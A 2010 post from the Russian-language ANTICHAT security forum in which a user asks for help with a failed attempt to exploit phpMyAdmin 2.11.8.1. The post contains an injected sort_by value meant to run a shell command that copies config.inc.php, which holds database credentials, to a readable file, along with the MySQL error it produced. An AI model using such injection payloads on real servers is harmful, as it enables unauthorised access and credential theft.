Форум АНТИЧАТ - Ваши вопросы по уязвимостям.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

09.03.2010, 22:02

mental2

Познающий

Регистрация: 13.08.2007

Сообщений: 37

Провел на форуме:
232729

Репутация: 1

phpmyadmin

при запросе..

site.com/phpmyadmin/server_databases.php?pos=0&dbstats=0&sort_by="]); OR exec('cp $(pwd)"/config.inc.php" config.txt'); &sort_order=desc&token=....

На сколько я понял в документации стоит специальная ошибка (или не стоит

).. но исправив её всё-равно не работает. Тестирую на версии 2.11.8.1

Выбивает ошибку.

Цитата:

Помилка

SQL-запит: Документація

SELECT `information_schema`.`SCHEMATA` . *
FROM `information_schema`.`SCHEMATA`
GROUP BY BINARY `information_schema`.`SCHEMATA`.`SCHEMA_NAME`
ORDER BY BINARY `"]) OR exec('cp $(pwd)"/config.inc.php" config.txt');` DESC

Відповідь MySQL: Документація
#1054 - Unknown column '"]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); ' in 'order clause'

получается фильтруется переменная sort_by? Или может я где накосячил?

Последний раз редактировалось mental2; 09.03.2010 в 22:45..